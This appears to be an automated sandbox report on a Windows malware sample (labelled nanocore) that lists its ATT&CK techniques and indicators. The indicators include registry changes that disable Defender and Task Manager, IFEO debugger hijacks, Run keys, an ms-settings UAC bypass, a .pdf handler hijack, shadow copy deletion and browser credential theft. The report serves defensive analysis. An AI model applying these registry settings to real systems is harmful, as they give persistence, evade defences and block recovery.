nanocore | 9622668b887bf6c091c44703ea497cee7543845223b4d4c4ad707cca0b4ac68f

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	lumm.io_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
840	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	lumm.io_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	lumm.io_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	lumm.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\lumm.io_chrome.exe"	lumm.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	lumm.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\lumm.io_chrome.exe"	lumm.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	lumm.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\lumm.io_chrome.exe"	lumm.io_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
4976	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_67.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_68.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_80.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_187.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_4.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_21.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_49.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_52.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_121.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_176.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_195.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_19.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_23.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_38.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_42.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_59.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_96.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_106.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_111.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_26.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_76.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_127.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_170.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_200.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_5.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_54.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_124.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_132.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_136.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_172.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_1.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_33.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_51.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_82.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_108.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_113.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_66.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_114.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_150.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_152.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_5.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_90.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_125.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_149.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_158.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_101.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_148.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_195.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_1.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_72.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_73.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_88.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_92.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_129.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_179.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_182.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_3.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf	lumm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_15.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_28.pdf	lumm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf	lumm.io_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\lumm.io_chrome.exe"	lumm.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\lumm.io_chrome.exe"	lumm.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\lumm.io_chrome.exe"	lumm.io_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
3748	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	lumm.io_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	lumm.io_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	lumm.io_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
5596	wscript.exe
6004	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	lumm.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	lumm.io_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4816	sc.exe
5592	sc.exe
5980	sc.exe
4348	sc.exe
3680	sc.exe
2084	sc.exe
3280	sc.exe
4944	sc.exe
1540	sc.exe
3532	sc.exe
3604	sc.exe
396	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1724	cmd.exe
5696	cmd.exe
4824	cmd.exe
1768	cmd.exe
2460	cmd.exe
1280	cmd.exe
5288	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1356	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
4856	ipconfig.exe
392	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
3524	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
6004	vssadmin.exe
2036	vssadmin.exe
1280	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Control Panel\Desktop\WallpaperStyle = "2"	lumm.io_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134308748300145557"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\lumm.io_chrome.exe\" \"%1\""	lumm.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell	lumm.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings	lumm.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open\command	lumm.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings	lumm.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open	lumm.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\lumm.io_chrome.exe"	lumm.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open\command\DelegateExecute	lumm.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open\command	lumm.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	lumm.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	lumm.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	lumm.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	lumm.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell	lumm.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open	lumm.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	lumm.io_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
5320	schtasks.exe
4160	schtasks.exe
4780	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4960	chrome.exe
4960	chrome.exe
840	powershell.exe
840	powershell.exe
840	powershell.exe
3832	WMIC.exe
3832	WMIC.exe
3832	WMIC.exe
3832	WMIC.exe
4292	lumm.io_chrome.exe
4292	lumm.io_chrome.exe
4292	lumm.io_chrome.exe
4292	lumm.io_chrome.exe
4292	lumm.io_chrome.exe
4292	lumm.io_chrome.exe
4292	lumm.io_chrome.exe
6060	WMIC.exe
6060	WMIC.exe
6060	WMIC.exe
6060	WMIC.exe
4292	lumm.io_chrome.exe
4292	lumm.io_chrome.exe
2888	WMIC.exe
2888	WMIC.exe
2888	WMIC.exe
2888	WMIC.exe
4292	lumm.io_chrome.exe
4292	lumm.io_chrome.exe
4292	lumm.io_chrome.exe
4292	lumm.io_chrome.exe
4292	lumm.io_chrome.exe
4292	lumm.io_chrome.exe
4292	lumm.io_chrome.exe
4292	lumm.io_chrome.exe
4292	lumm.io_chrome.exe
4292	lumm.io_chrome.exe
4292	lumm.io_chrome.exe
4292	lumm.io_chrome.exe
4292	lumm.io_chrome.exe
4292	lumm.io_chrome.exe
4292	lumm.io_chrome.exe
4292	lumm.io_chrome.exe
4292	lumm.io_chrome.exe
4292	lumm.io_chrome.exe
4292	lumm.io_chrome.exe
4292	lumm.io_chrome.exe
4292	lumm.io_chrome.exe
4292	lumm.io_chrome.exe
4292	lumm.io_chrome.exe
4292	lumm.io_chrome.exe
4292	lumm.io_chrome.exe
4292	lumm.io_chrome.exe
4292	lumm.io_chrome.exe
4292	lumm.io_chrome.exe
4292	lumm.io_chrome.exe
4292	lumm.io_chrome.exe
4292	lumm.io_chrome.exe
4292	lumm.io_chrome.exe
4292	lumm.io_chrome.exe
4292	lumm.io_chrome.exe
4292	lumm.io_chrome.exe
4292	lumm.io_chrome.exe
4292	lumm.io_chrome.exe
4292	lumm.io_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4292	lumm.io_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4960	chrome.exe
Token: SeCreatePagefilePrivilege	4960	chrome.exe
Token: SeDebugPrivilege	840	powershell.exe
Token: SeShutdownPrivilege	4960	chrome.exe
Token: SeCreatePagefilePrivilege	4960	chrome.exe
Token: SeShutdownPrivilege	4960	chrome.exe
Token: SeCreatePagefilePrivilege	4960	chrome.exe
Token: SeShutdownPrivilege	4960	chrome.exe
Token: SeCreatePagefilePrivilege	4960	chrome.exe
Token: SeShutdownPrivilege	4960	chrome.exe
Token: SeCreatePagefilePrivilege	4960	chrome.exe
Token: SeShutdownPrivilege	4960	chrome.exe
Token: SeCreatePagefilePrivilege	4960	chrome.exe
Token: SeShutdownPrivilege	4960	chrome.exe
Token: SeCreatePagefilePrivilege	4960	chrome.exe
Token: SeShutdownPrivilege	4960	chrome.exe
Token: SeCreatePagefilePrivilege	4960	chrome.exe
Token: SeIncreaseQuotaPrivilege	3832	WMIC.exe
Token: SeSecurityPrivilege	3832	WMIC.exe
Token: SeTakeOwnershipPrivilege	3832	WMIC.exe
Token: SeLoadDriverPrivilege	3832	WMIC.exe
Token: SeSystemProfilePrivilege	3832	WMIC.exe
Token: SeSystemtimePrivilege	3832	WMIC.exe
Token: SeProfSingleProcessPrivilege	3832	WMIC.exe
Token: SeIncBasePriorityPrivilege	3832	WMIC.exe
Token: SeCreatePagefilePrivilege	3832	WMIC.exe
Token: SeBackupPrivilege	3832	WMIC.exe
Token: SeRestorePrivilege	3832	WMIC.exe
Token: SeShutdownPrivilege	3832	WMIC.exe
Token: SeDebugPrivilege	3832	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3832	WMIC.exe
Token: SeRemoteShutdownPrivilege	3832	WMIC.exe
Token: SeUndockPrivilege	3832	WMIC.exe
Token: SeManageVolumePrivilege	3832	WMIC.exe
Token: 33	3832	WMIC.exe
Token: 34	3832	WMIC.exe
Token: 35	3832	WMIC.exe
Token: 36	3832	WMIC.exe
Token: SeShutdownPrivilege	4960	chrome.exe
Token: SeCreatePagefilePrivilege	4960	chrome.exe
Token: SeIncreaseQuotaPrivilege	3832	WMIC.exe
Token: SeSecurityPrivilege	3832	WMIC.exe
Token: SeTakeOwnershipPrivilege	3832	WMIC.exe
Token: SeLoadDriverPrivilege	3832	WMIC.exe
Token: SeSystemProfilePrivilege	3832	WMIC.exe
Token: SeSystemtimePrivilege	3832	WMIC.exe
Token: SeProfSingleProcessPrivilege	3832	WMIC.exe
Token: SeIncBasePriorityPrivilege	3832	WMIC.exe
Token: SeCreatePagefilePrivilege	3832	WMIC.exe
Token: SeBackupPrivilege	3832	WMIC.exe
Token: SeRestorePrivilege	3832	WMIC.exe
Token: SeShutdownPrivilege	3832	WMIC.exe
Token: SeDebugPrivilege	3832	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3832	WMIC.exe
Token: SeRemoteShutdownPrivilege	3832	WMIC.exe
Token: SeUndockPrivilege	3832	WMIC.exe
Token: SeManageVolumePrivilege	3832	WMIC.exe
Token: 33	3832	WMIC.exe
Token: 34	3832	WMIC.exe
Token: 35	3832	WMIC.exe
Token: 36	3832	WMIC.exe
Token: SeBackupPrivilege	5928	vssvc.exe
Token: SeRestorePrivilege	5928	vssvc.exe
Token: SeAuditPrivilege	5928	vssvc.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe
4960	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4292	lumm.io_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4292 wrote to memory of 4960	4292	lumm.io_chrome.exe	88
PID 4960 wrote to memory of 5552	4960	chrome.exe	89
PID 4292 wrote to memory of 840	4292	lumm.io_chrome.exe	90
PID 4292 wrote to memory of 1540	4292	lumm.io_chrome.exe	93
PID 4960 wrote to memory of 624	4960	chrome.exe	95
PID 4960 wrote to memory of 1356	4960	chrome.exe	94
PID 4960 wrote to memory of 624	4960	chrome.exe	95
PID 4960 wrote to memory of 4420	4960	chrome.exe	96
PID 4960 wrote to memory of 4420	4960	chrome.exe	96
PID 4292 wrote to memory of 3532	4292	lumm.io_chrome.exe	171
PID 4960 wrote to memory of 3764	4960	chrome.exe	100
PID 4960 wrote to memory of 3764	4960	chrome.exe	100
PID 4960 wrote to memory of 1760	4960	chrome.exe	101
PID 4960 wrote to memory of 1760	4960	chrome.exe	101
PID 4292 wrote to memory of 4816	4292	lumm.io_chrome.exe	103
PID 4292 wrote to memory of 3604	4292	lumm.io_chrome.exe	105
PID 4292 wrote to memory of 5592	4292	lumm.io_chrome.exe	130
PID 4292 wrote to memory of 5980	4292	lumm.io_chrome.exe	109
PID 4960 wrote to memory of 3996	4960	chrome.exe	111
PID 4960 wrote to memory of 3996	4960	chrome.exe	111
PID 4292 wrote to memory of 4348	4292	lumm.io_chrome.exe	112
PID 4960 wrote to memory of 5816	4960	chrome.exe	113
PID 4960 wrote to memory of 5816	4960	chrome.exe	113
PID 4292 wrote to memory of 3680	4292	lumm.io_chrome.exe	115
PID 4292 wrote to memory of 3024	4292	lumm.io_chrome.exe	117
PID 4292 wrote to memory of 2084	4292	lumm.io_chrome.exe	118
PID 3024 wrote to memory of 3524	3024	fodhelper.exe	163
PID 4292 wrote to memory of 3280	4292	lumm.io_chrome.exe	121
PID 4292 wrote to memory of 1280	4292	lumm.io_chrome.exe	143
PID 4292 wrote to memory of 3832	4292	lumm.io_chrome.exe	125
PID 4292 wrote to memory of 6004	4292	lumm.io_chrome.exe	159
PID 4292 wrote to memory of 4160	4292	lumm.io_chrome.exe	133
PID 4292 wrote to memory of 4780	4292	lumm.io_chrome.exe	135
PID 4292 wrote to memory of 2388	4292	lumm.io_chrome.exe	140
PID 4292 wrote to memory of 5288	4292	lumm.io_chrome.exe	141
PID 4292 wrote to memory of 1280	4292	lumm.io_chrome.exe	143
